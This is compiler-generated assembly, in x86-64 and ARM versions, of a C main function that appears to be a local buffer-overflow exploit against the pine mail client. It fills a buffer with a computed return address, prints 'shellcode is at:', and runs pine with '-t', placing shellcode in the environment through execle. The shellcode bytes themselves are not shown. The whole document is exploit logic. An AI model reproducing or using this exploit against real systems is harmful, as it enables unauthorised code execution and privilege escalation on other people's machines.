	.file	"extr_22863.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Can't allocate memory."
.LC1:
	.string	"shellcode is at: 0x%08x\n"
.LC2:
	.string	"-t"
.LC3:
	.string	"pine"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	sub	rsp, 40
	.cfi_def_cfa_offset 64
	mov	ebx, DWORD PTR BUFF_SIZE[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 24[rsp], rax
	xor	eax, eax
	mov	rax, QWORD PTR shellcode[rip]
	mov	QWORD PTR 8[rsp], 0
	lea	edi, 1[rbx]
	mov	QWORD PTR [rsp], rax
	call	malloc@PLT
	mov	r12, rax
	test	rax, rax
	je	.L10
.L2:
	mov	eax, DWORD PTR BASE[rip]
	lea	esi, -4[rax]
	sub	esi, DWORD PTR SC_SIZE[rip]
	sub	esi, DWORD PTR PATH_SIZE[rip]
	movsx	rsi, esi
	test	ebx, ebx
	jle	.L6
	sub	ebx, 1
	mov	rax, r12
	shr	ebx, 2
	lea	rdx, 4[r12+rbx*4]
	.p2align 4,,10
	.p2align 3
.L4:
	mov	QWORD PTR [rax], rsi
	add	rax, 4
	cmp	rax, rdx
	jne	.L4
.L3:
	mov	BYTE PTR [rdx], 0
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	xor	r8d, r8d
	mov	r9, rsp
	mov	rcx, r12
	mov	edi, DWORD PTR PATH[rip]
	lea	rdx, .LC2[rip]
	lea	rsi, .LC3[rip]
	call	execle@PLT
	mov	rax, QWORD PTR 24[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L11
	add	rsp, 40
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	r12
	.cfi_def_cfa_offset 8
	ret
.L10:
	.cfi_restore_state
	lea	rdi, .LC0[rip]
	call	puts@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L2
.L6:
	mov	rdx, r12
	jmp	.L3
.L11:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.comm	SC_SIZE,4,4
	.comm	PATH_SIZE,4,4
	.comm	PATH,4,4
	.comm	BUFF_SIZE,4,4
	.comm	BASE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_22863.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Can't allocate memory.\000"
	.align	2
.LC1:
	.ascii	"shellcode is at: 0x%08x\012\000"
	.align	2
.LC2:
	.ascii	"-t\000"
	.align	2
.LC3:
	.ascii	"pine\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC4:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 0, uses_anonymous_args = 0
	mov	r3, #0
	push	{r4, r5, lr}
	ldr	r1, .L12
	ldr	r2, .L12+4
	ldr	r4, [r1]
	ldr	r2, [r2]
	ldr	r1, .L12+8
	sub	sp, sp, #28
	add	r0, r4, #1
	ldr	r1, [r1]
	str	r1, [sp, #20]
	mov	r1,#0
	str	r2, [sp, #12]
	str	r3, [sp, #16]
	bl	malloc
	subs	r5, r0, #0
	beq	.L10
.L2:
	ldr	r3, .L12+12
	ldr	r2, .L12+16
	ldr	r1, [r3]
	ldr	r3, .L12+20
	ldr	r2, [r2]
	ldr	r3, [r3]
	sub	r1, r1, #4
	sub	r1, r1, r2
	cmp	r4, #0
	sub	r1, r1, r3
	ble	.L6
	mov	r2, r5
	sub	ip, r4, #1
	bic	ip, ip, #3
	add	ip, ip, #4
	add	ip, r5, ip
.L4:
	str	r1, [r2], #4
	cmp	r2, ip
	bne	.L4
.L3:
	mov	r4, #0
	ldr	r0, .L12+24
	strb	r4, [ip]
	bl	printf
	ldr	r1, .L12+28
	add	r2, sp, #12
	str	r4, [sp]
	ldr	r0, [r1]
	mov	r3, r5
	str	r2, [sp, #4]
	ldr	r1, .L12+32
	ldr	r2, .L12+36
	bl	execle
	ldr	r3, .L12+8
	ldr	r2, [r3]
	ldr	r3, [sp, #20]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L11
	mov	r0, r4
	add	sp, sp, #28
	@ sp needed
	pop	{r4, r5, pc}
.L6:
	mov	ip, r5
	b	.L3
.L11:
	bl	__stack_chk_fail
.L10:
	ldr	r0, .L12+40
	bl	puts
	mvn	r0, #0
	bl	exit
	b	.L2
.L13:
	.align	2
.L12:
	.word	BUFF_SIZE
	.word	shellcode
	.word	.LC4
	.word	BASE
	.word	SC_SIZE
	.word	PATH_SIZE
	.word	.LC1
	.word	PATH
	.word	.LC3
	.word	.LC2
	.word	.LC0
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	SC_SIZE,4,4
	.comm	PATH_SIZE,4,4
	.comm	PATH,4,4
	.comm	BUFF_SIZE,4,4
	.comm	BASE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
